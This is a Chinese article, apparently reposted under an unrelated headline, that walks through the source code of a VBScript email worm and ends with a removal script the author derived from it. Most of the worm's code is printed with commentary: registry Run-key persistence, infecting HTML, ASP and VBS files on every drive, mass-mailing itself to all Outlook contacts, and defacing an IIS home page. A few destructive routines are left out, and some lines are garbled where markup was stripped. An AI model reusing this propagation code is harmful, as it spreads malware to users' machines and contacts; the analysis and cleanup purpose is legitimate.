敢死队2加长版:病毒分析

来源:百度文库 编辑:偶看新闻 时间:2024/04/29 12:29:54


    读了《将vbscript拒之“窗”外》一文,心里有些感触,觉得是不
是少了两个字,应为《将vbscript病毒拒之“窗”外》,vbscript何罪之有,看了
看文章,确实是将vbscript拒之了“窗”外,上网查了查相关资料,也多是文中提
供的方法,vbscript可真成了冤大头,可谓是“挡住了苍蝇,也看不到了蝴蝶”。
   对于一个真正充满热情的cfan来说,不仅要知其然,还要知其所以然,vbs病毒
真的很可怕吗?从早期的宏病毒,到有名的“欢乐时光”病毒,“爱情虫”病毒等,
无不来势汹汹,其实许多生势多是杀毒软件商的炒做,读了前文,笔者觉得有必要
为vbs正名,为了让计算机更好,更高效的服务,我们决不应该回避优秀的软件工具,
采取被动回避的策略,等同于因噎废食。
    本文通过对一个vbs病毒源码的分析,介绍脚本语言在:文件系统,注册表,以
及网络邮件三个方面的具体应用和技巧。较早的“爱情虫”等病毒,程序比较粗糙,
这个病毒结合了许多早期病毒的优点,程序代码简单,高效,充分展示了vbs的全面
特点,因此拿来与大家共享,如果将这个源码作为一个vbs开发的微型帮助文档,一
点不为过。读者也可以通过此文揭开此类病毒的神秘面纱,不再谈虎色变,先进的东
西都不敢用了。杀病毒吗,笔者还是建议您购买一套杀毒软件(几十元的价格,一点
不贵),然后注意更新病毒库就可以了。要学习 vbs,具有一些vb的基础知识就够了。
这个病毒的主要攻击方法是:通过网络及邮件进行传播,并且不断地向目标邮件服
务器发送大量邮件,并且在传染过程中检测网络主机的名称中是否有目标字符,如
果有则进行破坏攻击。
下面将结合具体的程序逐步进行介绍,由于篇幅关系,对一些语句进行了缩减。
@ thank you!  make use of other person to get rid of an enemy, white trap _2001
开场白,第一个字符“@”是这个病毒传染时的标记
on error resume next  这一句很重要,主要是在程序执行时如果发生错误就接着
                      执行下一条语句,防止谈出出错对话框,否则就不能偷偷
                      的干坏事啦。这里有一个技巧,就是在程序编制调试阶段,
                      最好不要这一条语句,因为它会忽略错误,使你的调试工
                      作不易完成。
dim vbscr, fso,w1,w2,mswkey,hcuw,code_str, vbs_str, js_str
dim defpath, smailc, max_size, whb(), title(10)      声明各个变量
smailc = 4
redim whb(smailc)
whb(0) = "pr@witehous.gov"
...
whb(3) = "ms@witehous.gov"
以上这四个邮件地址就是被攻击的目标,当然已经进行了修改,不是真实地址
title(0) = "thanks for helping me!"
...
title(8) = "the sitting is open!"
title(9) = ""
以上这十条字符串是病毒执行时随机显示在ie标题栏里的信息。如果你的ie标题栏
显示了其中的某条信息,呵呵,一定要接着往下看
defpath  = "c:\readme.html"          将随邮件一起发送的病毒体
max_size = 100000
mswkey   = "hkey_local_machine\software\microsoft\windows\"
hcuw     = "hkey_current_user\software\microsoft\wab\"
定义两个注册表的键值变量
main     执行主函数

下面就是程序中所需的各个函数的定义部分,整个vbs程序将由windows目录中的
wscript.exe文件解释执行,如果将这个文件改名或删除,当然vbs程序也就不能执行
了,如此便阻止了病毒的执行。在用杀毒软件杀毒时,往往病毒传播的速度要比杀
毒的速度快,如果出现这种情况,应该先将wscript.exe文件改名,阻止病毒传播,
等杀完毒后,再改回来,不致影响其他正常的vbs程序的执行。
sub main()
on error resume next
dim w_s
w_s= wscript.scriptfullname     得到此文件名称
if w_s = "" then
 err.clear
 set fso = createobject("scripting.filesystemobject")
 随着vb编程语言的完善,微软也推出了一种全新的文件操作方法:文件系
        统对象(filesystemobject)。这个对象,及一些相关对象,封装了所有
        的文件操作。这个病毒程序基本展示了所有的这些操作,因此,如果您要
        利用vbs进行文件操作编程,将这个病毒源码作为参考文档,肯定不错。
 if geterr then
  randomize
  ra = int(rnd() * 7)
  doucment.write title(ra)      
  executemail         打开有毒的页面
 else     
  executepage         赋值成功,进行传染,攻击
 end if 
else
 executevbs                  从病毒体文件“system.dll”提取病毒
end if
end sub

function  geterr()
本函数主要是检测前一条语句是否成功返回了scripting.filesystemobject对象,
内容略
end function

sub executepage()
dim html_str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
vbs_str  = getscriptcode("vbscript")       获得此程序的vbscript code
js_str   = getjavascript()
code_str =  makescript(encrypt(vbs_str),true)   进行加密处理
html_str =  makehtml(encrypt(vbs_str), true)
gf
wdsf  = w2 & "mdm.vbs"
wdsf2 = w1 & "profile.vbs"
wdf   = w2 & "user.dll"
wdf2  = w2 & "readme.html"
wdf3  = w2 & "system.dll"

set vf = fso.opentextfile (wdf, 2, true)
vf.write vbs_str
vf.close 
仅用以上三条语句便完成了病毒体文件 "user.dll"的制作,其中对象函数
opentextfile (wdf, 2, true)的三个参数分别是:
①文件名,②读=1或写=2,③文件不存在时是否创建;
当前,filesystemobject对于文本文件的操作有较强的优势,对binary文件
的操作还有待加强。下面依次生成其他的文件,内容略

writereg  mswkey & "currentversion\run\mdm", wdsf, ""   
writereg  mswkey & "currentversion\runservices\profile", wdsf2, ""
将mdm.vbs,profile.vbs两个脚本文件加入到启动组当中,随win启动自动执行
sendmail
hackpage
if testuser then
 killhe
else
 mk75
end if
set adi = fso.drives        所有驱动器对象
for each x in adi           遍历所有的驱动器
 if x.drivestype = 2 or x.drivestype = 3 then 
  call searchhtml(x & "\")
 end if
next
if fso.fileexists(defpath) then  fso.deletefile defpath
如果存在"c:\readme.html" ,就删除它
end sub

sub  executemail()
此函数制作病毒文件"c:\readme.html" ,并打开它,
由这一段程序,可以看出vbs的简洁高效
on error resume next
vbs_str  = getscriptcode("vbscript")
js_str   = getjavascript()
set stl = createobject("scriptlet.typelib")
with stl
 .reset
 .path = defpath
 .doc =  makehtml(encrypt(vbs_str), true)
 .write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub

sub executevbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = createobject("scripting.filesystemobject")
set wvbs = createobject("wscript.shell")
gf
wvbs.regwrite  mswkey & "windows scripting host\setings\timeout", 0, "reg_dword"
set vf = fso.opentextfile (w2 & "system.dll", 1)
code_str = vf.readall()
vf.close
hackpage
sendmail
if testuser then
 killhe
else
 mk75
end if
set adi = fso.drives
for each x in adi
 if x.drivestype = 2 or x.drivestype = 3 then 
  call searchhtml(x & "\")
 end if  
next
end sub

sub gf()
w1=fso.getspecialfolder(0) & "\"   获得windows的路径名,
w2=fso.getspecialfolder(1) & "\"   获得系统文件夹路径名
end sub

function readreg(key_str)
set tmps = createobject("wscript.shell")
readreg = tmps.regread(key_str)
set tmps = nothing
end function

function writereg(key_str, newvalue, vtype)
对注册表进行写入操作,读操作类似,可以由此看到vbs的注册表操作非常简单明了。
set tmps = createobject("wscript.shell")
if vtype="" then
 tmps.regwrite key_str, newvalue
else
 tmps.regwrite key_str, newvalue, vtype
end if     
set tmps = nothing       关闭不用的资源,算是病毒的良好行为
end function

function makehtml(sbuffer, ihtml)
制作html文件的内容
dim ra
randomize
ra = int(rnd() * 7)
makehtml="<" & "html><" & "head><" & "title>" & title(ra) & "<" & "/head>" & _
"" & vbcrlf &  makescript(sbuffer, ihtml) & vbcrlf & _
"<" & "/boad><" & "/html>"
end function

function makescript(codestr, ihtml)
制作病毒的可执行script code
if ihtml then
 dim docuwrite
 docuwrite = "document.write(<+" & "script language=javascript>\n+" & _
      "jword" & "+\n);"
 docuwrite = docuwrite & vbcrlf & "document.write(<+" & "script language=vbscript>\n+" & _
      "nword" & "+\n);"
 makescript="<" & "script language=javascript>" & vbcrlf & "var jword = " & _
 chr(34) & encrypt(js_str) & chr(34) & vbcrlf & "var nword = " & _
 chr(34) &  codestr &  chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
 "jword = unescape(jword);" & vbcrlf & docuwrite & vbcrlf & ""
else    
 makescript= "<" & "script language=javascript>" & codestr & ""
end if
end function

function getscriptcode(languages)
此函数获得运行时的script code,
内容略
end function

function getjavascript()
getjavascript = getscriptcode("javascript")
end function

function testuser()
此函数通过键值检测网络主机是否是攻击目标
内容略
end function

function mk75()
检测日期是否符合,如果符合,发控制台命令,使系统瘫痪
end function

function sendmail()
利用outlook发送携带病毒体的邮件,microsoft outlook是可编程桌面信息管理程序,
outlook可以作为一个自动化服务器(automation servers),因此很容易实现自动发送
邮件,从这里也可以看出,先进的东西难免会被反面利用,如果你也想用程序控制发送
邮件,可以仔细研究下面的代码,
on error resume next
dim wab,ra,j, oa, arrsm, eins, eaec, fm, wreg, areg,at
randomize
at=fso.getspecialfolder(1) & "\readme.html"    要发送的附件文件
set  oa  = createobject("outlook.application") 制作outlook对象
set  wab = oa.getnamespace("mapi")             取得outlook mapi名字空间
for j = 1 to wab.addresslists.count            遍历所有联系人
 eins = wab.addresslists(j)
 wreg=readreg (hcuw  & eins)
 if (wreg="") then wreg = 1
 eaec = eins.addressentries.count       地址表的email记录数
 if (eaec > int(wreg)) then
  for x = 1 to eaec
   arrsm = wab.addressentries(x)
   areg = readreg(hcuw & arrsm)
   读注册表中的标记,避免重复发送
   if (areg = "") then
    set fm = wab.createitem(0)   创建新邮件
    with fm
     ra = int(rnd() * 7)
     .recipients.add arrsm 收件人
     .subject = title(ra) 邮件的标题
     .body = title(ra)  邮件的正文内容
     .attachments at   病毒文件作为附件
     .send        发送邮件
     writereg hcuw & arrsm, 1, "reg_dword"
    end with
   end if
  next
 end if   
 writereg hcuw & eins, eaec, ""  
next
set oa = nothing
window.settimeout "sendmail()", 10000   每100秒发送一次
end function

sub searchhtml(path)
这个函数递归搜索所有需感染的文件,如果你想批量处理文件,这是非常典型
的样例代码
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(path, fso.getspecialfolder(2)) > 0  then exit sub
fso.getspecialfolder(2)获得临时文件夹路径名,
fso.getspecialfolder(0)获得windows的路径名,
fso.getspecialfolder(1)获得系统文件夹路径名
set pfo    = fso.getfolder(path)
set psfo   = pfo.subfolders
for each  ps in psfo
 searchhtml(ps.path)
 set pf  = ps.files
 for each pfi in pf
  ext = lcase(fso.getextensionname(pfi.path))
  if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
   if code_str<>"" then addhead pfi.path, pfi, 1
  elseif ext= "vbs"  then
   addhead pfi.path,pfi, 2
  end if      
 next
next
end sub

sub killhe()
看函数名就知道硬盘又要倒霉啦
end sub

sub hackpage()
dim fi
h = "c:\inetput\wwwroot"
if fso.folderexists(h) then
 set fi = fso.getfile(h & "\index.htm")
 addhead h & "\index.htm",fi,1
end if  
end sub

sub addhead(path, f, t)
这个函数负责感染文件,之所以不进行省略,因为在后面编制杀毒程序时要用到这一段。
on error resume next
dim tso, buffer,sr
if f.size > max_size then exit sub
set tso = fso.opentextfile(path, 1, true)
buffer = tso.readall()
tso.close
if (t = 1) then
        如果是"htm","plg", "asp" 文件,则在其中加入病毒代码
 if ucase(left(ltrim(buffer), 7)) <> "  set tso = fso.opentextfile(path, 2, true)
  tso.write  code_str & vbcrlf & buffer
  tso.close
 end if
else    否则,用病毒体程序覆盖掉原文件,这个有点损
 if mid(buffer, 3, 2) <> "@" then
  tso.close
  sr=w2 & "user.dll"
  if fso.fileexists(sr) then fso.copyfile sr, path
 end if
end if
end sub
以上对病毒源码进行了分析,是不是有所收获,赶快打开纪事本,亲自开发一个vbs
程序吧,“水能载舟,亦能覆舟”,就编一个清除它的杀毒程序,算是本文的加强练习。

感兴趣的朋友可以看一下笔者根据源程序改编的杀毒程序。

附:
kill75.vbs
本程序由源病毒码修改而成
dim fso, w1, w2, mswkey, hcuw
dim defpath
dim bdnum      记录杀除病毒文件的个数
const max_size = 100000
main

sub main()
on error resume next
bdnum=0
defpath = "c:\readme.html"
mswkey = "hkey_local_machine\software\microsoft\windows\"
hcuw = "hkey_current_user\software\microsoft\wab\"
err.clear
set fso = createobject("scripting.filesystemobject")
executekill
end sub
sub executekill()
on error resume next
dim adi, vf, wdf, wdf2, wdf3, wdsf, wdsf2
gf
wdsf = w2 & "mdm.vbs"
wdsf2 = w1 & "profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "readme.html"
wdf3 = w2 & "system.dll"

if fso.fileexists(wdsf) then fso.deletefile wdsf: bdnum = bdnum + 1
if fso.fileexists(wdsf2) then fso.deletefile wdsf2: bdnum = bdnum + 1
if fso.fileexists(wdf) then fso.deletefile wdf: bdnum = bdnum + 1
if fso.fileexists(wdf2) then fso.deletefile wdf2: bdnum = bdnum + 1
if fso.fileexists(wdf3) then fso.deletefile wdf3: bdnum = bdnum + 1
if fso.fileexists(w2 & "75.htm") then fso.deletefile w2 & "75.htm": bdnum = bdnum + 1
if fso.fileexists(defpath) then fso.deletefile defpath: bdnum = bdnum + 1

deletereg mswkey & "currentversion\run\mdm"
deletereg mswkey & "currentversion\runservices\profile"
deletereg mswkey & "currentversion\run\75"

set adi = fso.drives
for each x in adi
  if x.drivestype = 2 or x.drivestype = 3 then
    call searchhtml(x & "\")
  end if
next
end sub

sub gf()
w1 = fso.getspecialfolder(0) & "\"
w2 = fso.getspecialfolder(1) & "\"
end sub

function deletereg(key_str)
set tmps = createobject("wscript.shell")
tmps.regdelete key_str
set tmps = nothing
end function

sub searchhtml(path)
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(path, fso.getspecialfolder(2)) > 0 then exit sub
set pfo = fso.getfolder(path)
set psfo = pfo.subfolders
for each ps in psfo
  searchhtml (ps.path)
  set pf = ps.files
  for each pfi in pf
    filelabel.caption = pfi
    doevents
    ext = lcase(fso.getextensionname(pfi.path))
    if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
         cuthead pfi.path, pfi, 1
    elseif ext = "vbs" then
       cuthead pfi.path, pfi, 2
    end if
  next
next
end sub

sub cuthead(path, f, t)
on error resume next
dim tso, buffer, sr, wz, fbuf
set tso = fso.opentextfile(path, 1, true)
buffer = tso.readall()
tso.close
if (t = 1) then
   if ucase(left(ltrim(buffer), 7)) = "      if instr(1, buffer, "jword") > 0 then
         wz = instr(1, buffer, "")
         if wz > 10000 then
           fbuf = right(buffer, len(buffer) - wz - 10)
           set tso = fso.opentextfile(path, 2, true)
           tso.write fbuf
           tso.close
           bdnum = bdnum + 1
           doevents
         end if
       end if
   end if
else
   if mid(buffer, 3, 2) = "@" then
      re = msgbox("是否想删除:" + path + ",它可能已经变成了75病毒", vbyesno)
      if (re = vbyes) then
         tso.delete
         bdnum = bdnum + 1
         doevents
      end if
   end if
end if
end sub
function geterr()
if err.number <> 0 then
 geterr = true 
 err.clear
else
 geterr = false
end if
end function